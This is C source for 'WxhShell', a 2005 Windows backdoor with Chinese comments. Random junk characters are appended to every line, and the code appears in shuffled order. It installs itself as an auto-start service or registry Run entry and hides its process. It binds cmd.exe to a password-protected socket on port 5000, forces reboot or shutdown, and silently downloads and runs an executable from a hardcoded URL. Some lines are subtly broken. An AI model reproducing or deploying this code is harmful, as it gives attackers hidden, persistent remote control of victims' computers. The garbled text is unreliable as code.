    if(Boot(SHUTDOWN)) ;=uHK'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rx^pGVyg  
    else { jq =-Y  
    closesocket(wsh); AHZ6  
    ExitThread(0); #c!(97l6o  
    } KCCS7l/  
    break; D=dY4WwG  
    } $X\BO&  
  // 获取shell Ke 'bH  
  case 's': { y8<,>  
    CmdShell(wsh); =BGc@:2  
    closesocket(wsh); z,] fR  
    ExitThread(0); A #jiCIc  
    break; $ B$=,^)3  
  } XU SfOf(  
  // 退出 <F=j6U7   
  case 'x': { b0KorUr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^k-H$]  
    CloseIt(wsh); _Yh4[TT~/  
    break; ~CM{?{z;  
    } ff:&MsA|,  
  // 离开 ,;D74h2F  
  case 'q': { Rj E,Wn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =#+Z KD  
    closesocket(wsh); 9Pem~<  
    WSACleanup(); `I'=d4  
    exit(1); ,#"AWQ  
    break; 0kCUz  
        } _k j51=  
  } LI nN-b#  
  } vys*=48g  
<!w-op2@ir  
  // 提示信息 hw1ZTD:Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jN*A"m  
} (U7%Z<  
  } h_A}i2/{  
LRbevpZ,  
  return; p>!r[v'  
} a .] !  
Z;n}*^U  
// shell模块句柄 O-&n5  
int CmdShell(SOCKET sock) pP".?|n  
{ `*N0 Lbl]  
STARTUPINFO si; m,.d< **  
ZeroMemory(&si,sizeof(si)); r!x^P=f,MJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @nZFw.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cF/FretoO  
PROCESS_INFORMATION ProcessInfo; }RoM N$r  
char cmdline[]="cmd"; (p2\H>pTr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); awC&xVf  
  return 0; RcHyePuF)R  
} L g%cVSz/C  
e=F' O] 5  
// 自身启动模式 v4ueFEY  
int StartFromService(void) liU=5 BL  
{ MRJdQCBV  
typedef struct  vb70~k  
{ ,*%8*]<=  
  DWORD ExitStatus; ]X-ZRmB`  
  DWORD PebBaseAddress; $*@mxwMQ}  
  DWORD AffinityMask; , g6.d#c  
  DWORD BasePriority; [J*)r8ys  
  ULONG UniqueProcessId; v=`VDQWq  
  ULONG InheritedFromUniqueProcessId; f0^s*V+  
}   PROCESS_BASIC_INFORMATION; &Owt:R)9~  
5T;_k'qe  
PROCNTQSIP NtQueryInformationProcess; T+~~w'v0  
0[hl&7 Ab@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S`*al<m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Lm.`U  
$9l3 DJ  
  HANDLE             hProcess; F1,pAtA  
  PROCESS_BASIC_INFORMATION pbi;  NOQgkN  
-m+2l`DLy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^ #Wf  
  if(NULL == hInst ) return 0; Hu'c )|~f  
\?C(fp R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hrXN 38-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kv'n W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {Qhv HV  
D!X{9q}S1  
  if (!NtQueryInformationProcess) return 0; -iW[cj R`$  
wLgRI$ _Dm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lv\2vRYw-  
  if(!hProcess) return 0; !IGVN:E  
(Bmjz*%M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )v|a:'%K_  
Ne#nSx5,  
  CloseHandle(hProcess); S>*T&K  
iYnw?4Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y&&Y:+ V  
if(hProcess==NULL) return 0; ! 4s $ 93  
\XpPb{:>  
HMODULE hMod; D&oC1  
char procName[255]; .<j8>1  
unsigned long cbNeeded; I5bi^!i  
0CDTj,eK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t>25IJG  
|YlUt~H>  
  CloseHandle(hProcess); $[>wJXj3R  
CId`6W  
if(strstr(procName,"services")) return 1; // 以服务启动 C&;'Pw9H  
F^a D!O ~  
  return 0; // 注册表启动 PDir?'  
} / _cOg? o  
 Et- .[  
// 主模块 HQE#O4  
int StartWxhshell(LPSTR lpCmdLine) ,Tr12#D:  
{ n;q7? KW8  
  SOCKET wsl; o%|1D'f^  
BOOL val=TRUE; K]7@%cS  
  int port=0; |C(72t?K  
  struct sockaddr_in door; "qDEI}  
.&[nS<~`  
  if(wscfg.ws_autoins) Install(); <<A@69"4n  
JN8k x;@  
port=atoi(lpCmdLine); s0`uSQ2X  
IBuuZ.=j2h  
if(port<=0) port=wscfg.ws_port; .*zQ\P  
|FcG$[  
  WSADATA data; i/$lO de  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U ^,ld`  
PD$'xY|1=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |Jq/kmn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >kB?C!\  
  door.sin_family = AF_INET; QUe.vb^O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &R8zuD`#  
  door.sin_port = htons(port); OE[/sv  
zO+nEsf^O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z os~1N]3  
closesocket(wsl); B;-oa;m:E=  
return 1; '<Vvv^Er  
} 6 =kd4'yV  
]c5Shj5|p  
  if(listen(wsl,2) == INVALID_SOCKET) { -\I0*L'$|\  
closesocket(wsl); +fwq9I>L  
return 1; uj]GBo=  
} :J<S-d=  
  Wxhshell(wsl); * r%  
  WSACleanup(); LD6fi  
U .rH,`  
return 0; bX9}G#+U  
KcrF=cA  
} Dho~6K }"  
&/ zs Ix+  
// 以NT服务方式启动 L3W ^ip4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AI)9E=D%  
{ dE^'URBiA  
DWORD   status = 0; epwXv|aSZ  
  DWORD   specificError = 0xfffffff; b"zq3$6*  
9S<W~# zz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D!-zQ`^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OC [a?#R1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HKh)T$IZM  
  serviceStatus.dwWin32ExitCode     = 0; pkT a^I  
  serviceStatus.dwServiceSpecificExitCode = 0; i@p?.%K{  
  serviceStatus.dwCheckPoint       = 0; hyBSS,I  
  serviceStatus.dwWaitHint       = 0; ;w+A38N$J  
;WzT"yW)T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6F<L4*4U  
  if (hServiceStatusHandle==0) return; : ._O.O  
/R,/hi Kx\  
status = GetLastError(); x##Iv|$  
  if (status!=NO_ERROR) ce;9UBkOg2  
{ 7O{\^Jz1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8+!$k!=X  
    serviceStatus.dwCheckPoint       = 0; ,~3sba  
    serviceStatus.dwWaitHint       = 0; u ) ld  
    serviceStatus.dwWin32ExitCode     = status; VJNPs6  
    serviceStatus.dwServiceSpecificExitCode = specificError; L,l+1`Jz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gm|QOuw  
    return; }tJ:-!*2  
  } bVVa5? HP  
T JVNR_x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9XoKOR(  
  serviceStatus.dwCheckPoint       = 0; 1'd "O @  
  serviceStatus.dwWaitHint       = 0; )GR^V=o7,Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m2V4nxw]Qp  
} jK{CjfCNz  
PEBQ|k8g&  
// 处理NT服务事件,比如:启动、停止 w|M?t{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S=my;M-  
{ z1L.  
switch(fdwControl) <oeHZD_ OR  
{ T @z$g  
case SERVICE_CONTROL_STOP: &d*9#?9  
  serviceStatus.dwWin32ExitCode = 0; k!%HcU%J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xWlB!r<}Gz  
  serviceStatus.dwCheckPoint   = 0; ]]]7"a  
  serviceStatus.dwWaitHint     = 0; -x RsYYw  
  { UIyOn` d"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |M0TG  
  } c#rbyx?5  
  return; 7IvCMb&%R  
case SERVICE_CONTROL_PAUSE: yRy9*r=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; In 1.R$O  
  break; ~fgv7=(!  
case SERVICE_CONTROL_CONTINUE: L%BWrmg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E+Gea[c  
  break; ).&$pXj  
case SERVICE_CONTROL_INTERROGATE: )pzXC  
  break; &556;l  
}; ilNm\fQ.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~PV>3c3l=  
} }%:?s6Ler  
vWgh?h/ot  
// 标准应用程序主函数 R `'@$"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rc6Rk!^  
{ 7'<4'BGzl]  
[s2%t"H-y  
// 获取操作系统版本 '-*r&:  
OsIsNt=GetOsVer(); :q= XE$%H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,= PDL  
Mc\lzq8\ 1  
  // 从命令行安装 &hF>}O  
  if(strpbrk(lpCmdLine,"iI")) Install(); mg 3jm  
~ PPGU1  
  // 下载执行文件 '}}DPoV  
if(wscfg.ws_downexe) { l@GpVdrv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q6,xsO,+  
  WinExec(wscfg.ws_filenam,SW_HIDE); w}E?FEe.  
} %tu{`PN<  
w%$n)7<*  
if(!OsIsNt) { 0lBl5k e  
// 如果时win9x,隐藏进程并且设置为注册表启动 z,NHH):~  
HideProc(); wbpxJtJB  
StartWxhshell(lpCmdLine); x^;n fqn|  
} 1E-$f  
else `SU;TN0  
  if(StartFromService()) AHLDURv  
  // 以服务方式启动 (+ >n/I6  
  StartServiceCtrlDispatcher(DispatchTable); 3b_#xr-  
else A+dY~@*a  
  // 普通方式启动 J 5\> 8I,a  
  StartWxhshell(lpCmdLine); ]-q:Z4rb  
[F>zM  
return 0; n%O`K{86  
} ^X?[zc GE  
;Joo!CXHO  
.K0BK)axO  
Z uE 0'9  
=========================================== 2ru6 bIb;  
\2LCpN  
1DBzD%@Oz  
!K@y B)9  
^8\pJg_0  
G(4k#jB  
" $M><K  
y}3V3uqK  
#include <stdio.h> QO%LSRw  
#include <string.h> zzxU9m~"  
#include <windows.h> B O"+m  
#include <winsock2.h> {!="PnB  
#include <winsvc.h> D~ {)\;w^!  
#include <urlmon.h> eFx*lYjA  
Lf,gS*Tg?  
#pragma comment (lib, "Ws2_32.lib") 68d@By  
#pragma comment (lib, "urlmon.lib") kj[[78  
U]P;X~$!  
#define MAX_USER   100 // 最大客户端连接数 Nn^el' S'  
#define BUF_SOCK   200 // sock buffer PF+`3  
#define KEY_BUFF   255 // 输入 buffer q8p 'bibY  
FqiK}K.~/  
#define REBOOT     0   // 重启 jVA xa|S  
#define SHUTDOWN   1   // 关机  Ne4A  
^.4<#Qs  
#define DEF_PORT   5000 // 监听端口 NfSe(rd  
NT nn!k  
#define REG_LEN     16   // 注册表键长度 ZqhINM*Rm  
#define SVC_LEN     80   // NT服务名长度 k82'gJ;MC=  
n2QD*3i  
// 从dll定义API >SzTZ3!E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *7Mrng  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); II2oV}7?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;S%wPXj&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :r6 bw  
>,y QG+  
// wxhshell配置信息 c[YC}@l%a  
struct WSCFG { X ak~He  
  int ws_port;         // 监听端口 {Cd*y6lI  
  char ws_passstr[REG_LEN]; // 口令 LO2sP"9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ffWvrY;j[  
  char ws_regname[REG_LEN]; // 注册表键名 N$3F4b%+  
  char ws_svcname[REG_LEN]; // 服务名 [m"X*Z F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .c',?[S/vH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ePF9Vzq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f"-?%I*'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #a0 (Wh7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /RMep8 &  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .FC1:y<aO  
M5q7` }>G  
}; #(A>yW702  
qv<VKJTi6]  
// default Wxhshell configuration ik]UzB  
struct WSCFG wscfg={DEF_PORT, 5n"'M&Ce  
    "xuhuanlingzhe", W[vak F  
    1, ~vt8|OOo0  
    "Wxhshell", h?SUDk:2^  
    "Wxhshell", -@QLE}~k[  
            "WxhShell Service", ^WRr "3  
    "Wrsky Windows CmdShell Service", d2(n3Xf  
    "Please Input Your Password: ", xE}q(.]  
  1, rVO+ vhih  
  "http://www.wrsky.com/wxhshell.exe", ClEtw   
  "Wxhshell.exe" aR3W9  
    }; ._nhW*  
}X`K3sk2/z  
// 消息定义模块 .$r(":A#)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S5XFYQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6Y=$7%z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Coyop#q#"{  
char *msg_ws_ext="\n\rExit."; K 4 >d  
char *msg_ws_end="\n\rQuit."; w ggl,+7  
char *msg_ws_boot="\n\rReboot..."; #\"5:.H Oz  
char *msg_ws_poff="\n\rShutdown..."; mjw:Z,  
char *msg_ws_down="\n\rSave to "; ?>w%Lg{L}  
>yaz  
char *msg_ws_err="\n\rErr!"; "{&!fD~w  
char *msg_ws_ok="\n\rOK!"; ~+1t 17  
VMNihx0FJ  
char ExeFile[MAX_PATH]; A/o=a#  
int nUser = 0; U"ZDt  
HANDLE handles[MAX_USER]; w</kGK[O  
int OsIsNt; @1kA%LLK  
{>~|xW  
SERVICE_STATUS       serviceStatus; x;C\G`9N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ge E7<"m%  
.qHgQ_%  
// 函数声明 r..Rh9v/=E  
int Install(void); HWc=.Qq  
int Uninstall(void); 8'f:7KF  
int DownloadFile(char *sURL, SOCKET wsh); t[X'OK0W%3  
int Boot(int flag); , n+dB2\  
void HideProc(void); Dl7#h,GTc<  
int GetOsVer(void); JU~l  
int Wxhshell(SOCKET wsl); {% ;tN`{M  
void TalkWithClient(void *cs); {?t=*l\S{w  
int CmdShell(SOCKET sock); V43 |Ej}E  
int StartFromService(void); u6D>^qF}@'  
int StartWxhshell(LPSTR lpCmdLine); VbZZ=q=Kd  
:*\JJ w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  ]@<O!fS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bq\%]2;eo{  
? 1_*ct=g9  
// 数据结构和表定义 khyV uWN  
SERVICE_TABLE_ENTRY DispatchTable[] = y0z}[hZ  
{ jPFA\$To  
{wscfg.ws_svcname, NTServiceMain}, U/TF,JUI  
{NULL, NULL} yJ?4B?p(  
}; h>fY'r)DAx  
T]0qd^\4w  
// 自我安装 +.zriiF]i  
int Install(void) D V C};  
{ uu'~[SZlL  
  char svExeFile[MAX_PATH]; n}YRE`>D  
  HKEY key; r% qgLP{v  
  strcpy(svExeFile,ExeFile); []'BrG)!  
Xo'_|-N+  
// 如果是win9x系统,修改注册表设为自启动 3Hr ZN+D  
if(!OsIsNt) { ZX'/[wAN)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1YQ|KJ*K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rFGbp8(2  
  RegCloseKey(key); Qxt ,@<IK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Up3p24  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9CxU: ;3  
  RegCloseKey(key); @ UX'(W  
  return 0; -MeGJX:^I  
    } {Z$Aw4a"d  
  } dMYDB  
} -cOLg rmp  
else { A5z5e# ,u  
N U\B  
// 如果是NT以上系统,安装为系统服务 Fd0R?d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O$KLQ'0"n  
if (schSCManager!=0) t}]=5)9<  
{ '(~+ \  
  SC_HANDLE schService = CreateService EQMn'>  
  ( p'!cGJL  
  schSCManager, qWy(f|:hYi  
  wscfg.ws_svcname, (Y:5u}*Y  
  wscfg.ws_svcdisp, cbNrto9  
  SERVICE_ALL_ACCESS, 6 fL=2a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )%gi gQZ+  
  SERVICE_AUTO_START, /u5MAl.<[  
  SERVICE_ERROR_NORMAL, C#+Gkzq  
  svExeFile, 6"z:s-V  
  NULL, &h')snp:#  
  NULL, >q "mI6F  
  NULL, IrM Ws86;  
  NULL, 3u _[=a  
  NULL /0@'8f\I  
  ); gm(`SC?a  
  if (schService!=0) P @G2F:}  
  { $O?&!8);,  
  CloseServiceHandle(schService); 3D(/k%;)  
  CloseServiceHandle(schSCManager); R8sj>.I9j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0M>+.}e+  
  strcat(svExeFile,wscfg.ws_svcname); Ic P]EgB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IyOb0WiEj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8.bdN]zn  
  RegCloseKey(key); P|l62!m<   
  return 0; I ze+](  
    } srLXwoN[  
  } ^cn%]X#.  
  CloseServiceHandle(schSCManager); Il`35~a  
} =# <!s!  
} JgEPzHgx  
">@]{e*  
return 1; `O5w M\Z  
} [RoOc)u  
VG_ PBG(  
// 自我卸载 AAb3Jf`UW  
int Uninstall(void) fp^{612O?  
{ &gR)Y3  
  HKEY key; eVGO6 2|!  
jb|al[p\  
if(!OsIsNt) { EyO=M~nsS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5bKM}? =L  
  RegDeleteValue(key,wscfg.ws_regname); $SQ UN*/>  
  RegCloseKey(key); 6j/g/!9c!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AY<(`J{  
  RegDeleteValue(key,wscfg.ws_regname); H Rn Q*  
  RegCloseKey(key); %-1-y]R|  
  return 0; m:SG1m_6  
  } zk#"n&u0  
} r~nD%H:}P  
} `tw[{Wb  
else { B:J([@\'  
<Nwqt[.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JFewOt3  
if (schSCManager!=0) I&vD >a5#  
{ 5$$Yce=k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]{ ^'{z$i  
  if (schService!=0) +N n $  
  { lJb1{\|.,  
  if(DeleteService(schService)!=0) { D~P3~^  
  CloseServiceHandle(schService); hg4d]R,  
  CloseServiceHandle(schSCManager); tpPP5C{  
  return 0; RUco3fZ   
  } zZp0g^;.?  
  CloseServiceHandle(schService); Di) %vU  
  } 3b{ 7Z 2  
  CloseServiceHandle(schSCManager); wz`\R HL  
} amvD5  
} oN({X/P2j  
sE:~+C6o:  
return 1; H{ M7_1T  
} G5A:C(r  
EdcbWf7  
// 从指定url下载文件 QiKci%=SX  
int DownloadFile(char *sURL, SOCKET wsh) J'}G~rB<<  
{ GBeWF-`B  
  HRESULT hr; *uW l 804  
char seps[]= "/"; 7qsu0 .[d  
char *token; e%[0 NVo  
char *file; !$n@-  
char myURL[MAX_PATH]; /~~A2.=.  
char myFILE[MAX_PATH]; fVJlA  
fab. %$  
strcpy(myURL,sURL); w}|XSJ!  
  token=strtok(myURL,seps); HKp|I%b]J  
  while(token!=NULL) UlP2VKM1&  
  { S3oyx#R('O  
    file=token; aQ.QkM Z  
  token=strtok(NULL,seps); ]w,:T/Z}  
  } !WS Y75  
*Ri\7CqU"6  
GetCurrentDirectory(MAX_PATH,myFILE); 1aAY7Dm_&  
strcat(myFILE, "\\"); I%(YR"  
strcat(myFILE, file); ^Y%'"QwJS  
  send(wsh,myFILE,strlen(myFILE),0); :Oiz|b(  
send(wsh,"...",3,0); ml,FBBGq|-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u}r>?/V!  
  if(hr==S_OK) @6lw_E_5  
return 0; *qa.hqas  
else S4 j5-  
return 1; Jn7T5$pJ  
#B2a?   
} TW?_fse*[  
)d~{gPr.  
// 系统电源模块 8NnGN(a*D  
int Boot(int flag) ,Iv eKk5W  
{ ~ k"r  
  HANDLE hToken; ^yLhL^Y  
  TOKEN_PRIVILEGES tkp; ThvgYv--B  
_sqj~|K  
  if(OsIsNt) { \+)aYP2Hu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "_^vQ1M]Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _^/k  
    tkp.PrivilegeCount = 1; <uYrYqN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %<)!]8}P*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4bs<j  
if(flag==REBOOT) { ' kOkwGf!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %1oB!+tv  
  return 0; u4#YZOiY)A  
} hv0bs8h  
else { dzQs7D}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x{O) n  
  return 0; ]4ib^R~Z  
} 5^ck$af  
  } H@xHkqan  
  else { #My14u  
if(flag==REBOOT) { >^6|^rc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KS'n$  
  return 0; ;FGS(.mjlC  
} c>Tf@A og>  
else { UY6aD~tD0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2U|"]tpM&  
  return 0; 3q W](  
} B[ .$<$}G  
} skm~~JM^  
38 ] }+Bb  
return 1; ;Rlf[](iL  
} Z;O!KsJ  
[g bFs-B2/  
// win9x进程隐藏模块 1Q_Q-Z  
void HideProc(void) KpBOmXE  
{ 5e3p9K`5  
`w&?SXFO8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z:a7)z  
  if ( hKernel != NULL ) /3#h]5Y"T  
  { 0GlQWRa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sWmqx$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \G#_z|'dN  
    FreeLibrary(hKernel); 5X>K#N  
  } %[, R Q">v  
=8v NOvA  
return; KE.O>M ,I.  
} U!{~L$S  
.-'_At4g  
// 获取操作系统版本 w`DcnQK'  
int GetOsVer(void) @HzK)%@  
{ j8oX9 Yo0=  
  OSVERSIONINFO winfo; ;Fo7 -kK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 97[wz C,  
  GetVersionEx(&winfo);  Q'ZZQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) znB+RiV8  
  return 1; ?)ct@,Ek$  
  else .i {yW  
  return 0; 2TG2<wqvE  
} 1M.#7;#B3  
25f[s.pv8  
// 客户端句柄模块 L@'2}7N1%  
int Wxhshell(SOCKET wsl) MDQ:6Ri  
{ #zv&h`gY  
  SOCKET wsh; sib/~j  
  struct sockaddr_in client; {qGXv@ I6  
  DWORD myID; rd>>=~vx=/  
=0L%<@yA  
  while(nUser<MAX_USER) `YUeVz>q?  
{ *8Su:=*b  
  int nSize=sizeof(client); w/ ^_w5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b*W,8HF4,  
  if(wsh==INVALID_SOCKET) return 1; 7;c^*"Ud  
VX*+:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T X iu/g(  
if(handles[nUser]==0) x+DETRLP  
  closesocket(wsh); $EHF f$M  
else ub!l Hl  
  nUser++; "n{';Q)  
  } ZbiC=uh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q44vI  
WJxcJE  
  return 0; u$CN$ynS  
} cNT !}8h^  
|)v}\-\ #  
// 关闭 socket mU(v9Jpf7  
void CloseIt(SOCKET wsh) rizjH+  
{ MQDLC7Y.p5  
closesocket(wsh); 7O8 @T-f+2  
nUser--; $}IG+ ,L  
ExitThread(0); 2 FoLJ  
} ^62z\Y  
E7i/gY  
// 客户端请求句柄 l-cBN^^  
void TalkWithClient(void *cs) p Hx$  
{ 3-E-\5I  
~+d{:WY  
  SOCKET wsh=(SOCKET)cs; ;jaugKf  
  char pwd[SVC_LEN]; ~Ad2L*5S  
  char cmd[KEY_BUFF]; !VaC=I^{  
char chr[1]; !4!qHJISa  
int i,j; mZXtHFMu  
</Y(4Xwf=  
  while (nUser < MAX_USER) { }t"K(oamm  
g_n_Qlo  
if(wscfg.ws_passstr) { J5{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wuo:PX'/9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YcV^Fqi!  
  //ZeroMemory(pwd,KEY_BUFF); w >%^pO~}`  
      i=0; BW6Ox=sr<  
  while(i<SVC_LEN) { ?(U;T!n  
JU;`c>8=)  
  // 设置超时 @ ;@~=w  
  fd_set FdRead; -T;^T1  
  struct timeval TimeOut; Q=>5@sZB  
  FD_ZERO(&FdRead); PjX V.gz  
  FD_SET(wsh,&FdRead); N34-z|"q  
  TimeOut.tv_sec=8; 4DDBf j  
  TimeOut.tv_usec=0; E|>-7k")  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3=o4ncg(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E24SD'|)  
IA&V?{OE@I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b%*`}B  
  pwd=chr[0]; wx`.  
  if(chr[0]==0xd || chr[0]==0xa) { '<vb_8.  
  pwd=0; [E%g3>/mt  
  break; .I EHjy\+  
  }  3s| :7  
  i++; D"-Wo}"8O'  
    } D5oYcGc  
9BpxbU+L;  
  // 如果是非法用户,关闭 socket /F9Dg<#a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j!NXNuy:  
} O9-`e  
aeI0;u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \2=I//YF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m&b1H9ymd  
h_ccE 6]t  
while(1) { A`JE(cIz3  
2LR y/ah  
  ZeroMemory(cmd,KEY_BUFF); fVgN8b|&'  
fzw:[z:%  
      // 自动支持客户端 telnet标准   X`EVjK  
  j=0; bM5V=b_H  
  while(j<KEY_BUFF) { k0N>J8y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); po'b((q  
  cmd[j]=chr[0]; ?%su?L  
  if(chr[0]==0xa || chr[0]==0xd) { xo?'L&%  
  cmd[j]=0; V=5S=7 Z:  
  break; cr<j<#(Z}  
  } Y3~z#<  
  j++; K?[Vz[-Fc  
    } KAD2_@l  
h,B4Tg'  
  // 下载文件 AG}j'   
  if(strstr(cmd,"http://")) { BfCM\ij  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); , `Z4fz:  
  if(DownloadFile(cmd,wsh)) R) :Xs .  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *k;bkd4x  
  else +6l#hO7h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~]RfOpq^w  
  } 64#Ri!RR}  
  else { #:N#i  
